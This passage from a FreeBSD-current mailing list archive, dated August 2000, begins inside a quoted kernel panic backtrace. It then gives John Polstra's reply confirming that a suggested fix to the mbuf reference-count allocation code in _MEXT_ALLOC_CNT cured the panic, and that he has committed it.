bus_generic_attach(c0a49700,c0a35080,c035ffc0,c0170c46,c0a49700) at > bus_generic_attach+0x16 > nexus_attach(c0a49700,c0a49700,c02c0e10,364000,0) at nexus_attach+0xd > device_probe_and_attach(c0a49700) at device_probe_and_attach+0x8e > root_bus_configure(c071b680,c029bacc,0) at root_bus_configure+0x16 > configure(0,35dc00,364000,0,c011dc09) at configure+0x33 > mi_startup(0,0,0,0,0) at mi_startup+0x68 > begin() at begin+0x30 > > > John > -- > John Polstra jdp@polstra.com > John D. Polstra & Co., Inc. Seattle, Washington USA > "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 16:52:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 84C9A37B423; Sat, 19 Aug 2000 16:52:38 -0700 (PDT) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id QAA09166; Sat, 19 Aug 2000 16:52:17 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id QAA15880; Sat, 19 Aug 2000 16:52:16 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Sat, 19 Aug 2000 16:52:16 -0700 (PDT) Message-Id: <200008192352.QAA15880@vashon.polstra.com> To: current@freebsd.org Cc: bmilekic@technokratis.com, dwmalone@freebsd.org Subject: Re: (URGENT) Instant panic in _MEXT_ALLOC_CNT In-Reply-To: <000501c00a34$dfd43f20$71cbc918@jehovah> References: <000501c00a34$dfd43f20$71cbc918@jehovah> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <000501c00a34$dfd43f20$71cbc918@jehovah>, Bosko Milekic wrote: > > Hrmmm, there may be a logic problem here. Try this (apply it manually, > as I am not able to produce a diff at this time): > > change: > > if ((__mcnt == NULL) && (m_alloc_ref(1) == 0)) > panic("mbuf subsystem: out of ref counts!"); > > to: > > if (__mcnt == NULL) { > if (m_alloc_ref(1) != 0) > __mcnt = mext_refcnt_free; > else > panic("mbuf subsystem: out of ref counts!"); > } > > It could be that the m_alloc_ref(1) doesn't fail, but that __mcnt > is still NULL, it's missing that __mcnt = mext_refcnt_free assignment. > This is most probably a BUG, so please commit the fix... That fixed it. Thanks for the quick reply! I have committed the fix just now. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message